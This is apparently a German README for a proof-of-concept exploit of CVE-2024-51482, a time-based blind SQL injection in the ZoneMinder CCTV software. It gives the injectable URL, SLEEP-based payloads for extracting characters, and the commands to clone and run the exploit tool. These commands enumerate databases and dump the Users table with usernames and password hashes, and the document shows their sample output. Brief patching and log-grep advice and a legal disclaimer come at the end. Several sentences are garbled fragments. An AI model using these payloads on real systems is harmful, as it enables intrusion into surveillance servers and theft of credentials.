
ZenoMinder Blinde SQL-Injection PoC
CVE-2024-51482 ist eine kritische boolesche SQL-Injection-Schwachstelle, die in ZoneMinder, einer beliebten Open-Source-CCTV-Überwachungssoftware, entdeckt wurde. Dieser Fehler betrifft die Versionen 1.37.* bis einschließlich 1.37.64 und ermöglicht es authentifizierten Angreifern mit niedrigen Privilegien, beliebige SQL-Befehle auf dem zugrunde liegenden Datenbankserver auszuführen.
| Metrik | Wert |
|---|---|
| CVE-ID | CVE-2024-51482 |
| CVSS-Score | 9.9 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Erforderliche Privilegien | Niedrig |
| Benutzerinteraktion | Keine |
| Scope | Geändert |
| Auswirkung | Vertraulichkeit, Integrität, Verfügbarkeit - HOCH |
| Gepatchte Version | 1.37.65 |
Die Schwachstelle befindet sich in der Datei web/ajax/event.php innerhalb der Funktion removetag. Der Parameter tid (Tag-ID) wird direkt in eine SQL-Abfrage concatenated, ohne ordnungsgemäße Bereinigung oder Parametrisierung.
Verwundbarer Code:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VERWUNDBAR!
$rowCount = dbNumRows($sql);
// ...
Behobener Code:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parametrisierte Abfrage
Der verwundbare Endpunkt kann wie folgt ausgelöst werden:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[INJECTION_POINT]
Der Einschleusungspunkt gibt Abfrageergebnisse nicht direkt in der Antwort zurück, sodass traditionelle UNION-basierte Angriffe unmöglich sind. Stattdessen müssen wir Informationen durch boolesche Bedingungen oder Zeitverzögerungen ableiten.
Unser Exploit verwendet zeitbasierte Extraktion mit der Funktion SLEEP():
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
Wenn diese Bedingung wahr ist, schläft die Datenbank 2 Sekunden lang, wodurch eine messbare Verzögerung in der HTTP-Antwort entsteht.
ASCII(SUBSTRING()) > MID.SLEEP aus.Beispiel-Payload zur Extraktion des Zeichens an Position 1:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# Repository klonen
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# Skript ausführbar machen
chmod +x CVE-2024-51482.py
# Erforderliche Abhängigkeiten installieren
pip3 install requests
# Testen, ob Ziel verwundbar ist
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --test
# Alle Datenbanken entdecken
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
# Tabellen in einer bestimmten Datenbank auflisten
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --tables zm
# Spalten in einer bestimmten Tabelle auflisten
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --columns zm Users
# Daten aus bestimmten Spalten ausgeben
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Users "Username,Password"
# Benutzertabelle ausgeben (Standard)
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
# Debug-Ausgabe für detaillierten Extraktionsprozess aktivieren
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --debug
# Schlafzeit für zuverlässigere Extraktion anpassen
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --sleep 3
# Farbige Ausgabe deaktivieren
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --no-color
Beispiel 1: Schwachstellentest
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
Beispiel 2: Datenbankenumeration
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found:
1. information_schema
2. performance_schema
3. zm
Beispiel 3: Ausgabe von Benutzeranmeldedaten
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2
User: admin
Pass: $2y$10$...hashed...
Email: admin@localhost
Enabled: 1
User: operator
Pass: $2y$10$...hashed...
Email: operator@localhost
Enabled: 1
Beispiel 4: Benutzerdefinierte Datenextraktion
# Bestimmte Spalten aus der Events-Tabelle ausgeben
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2)-Payload, um zu überprüfen, ob die Einschleusung funktioniert.ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .SLEEP wird ausgelöst → Antwort verzögert.sudo apt-get update
sudo apt-get install zoneminder
# Apache-Konfiguration
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
Dieses Tool wird ausschließlich zu Bildungs- und Sicherheitstestzwecken bereitgestellt. Unbefugtes Testen von Computersystemen ist illegal. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie ein System testen.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Metrik | Wert |
|---|
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Niedrig |
| Benutzerinteraktion | Keine |
| Scope | Geändert |
| Vertraulichkeit | Hoch |
| Integrität | Hoch |
| Verfügbarkeit | Hoch |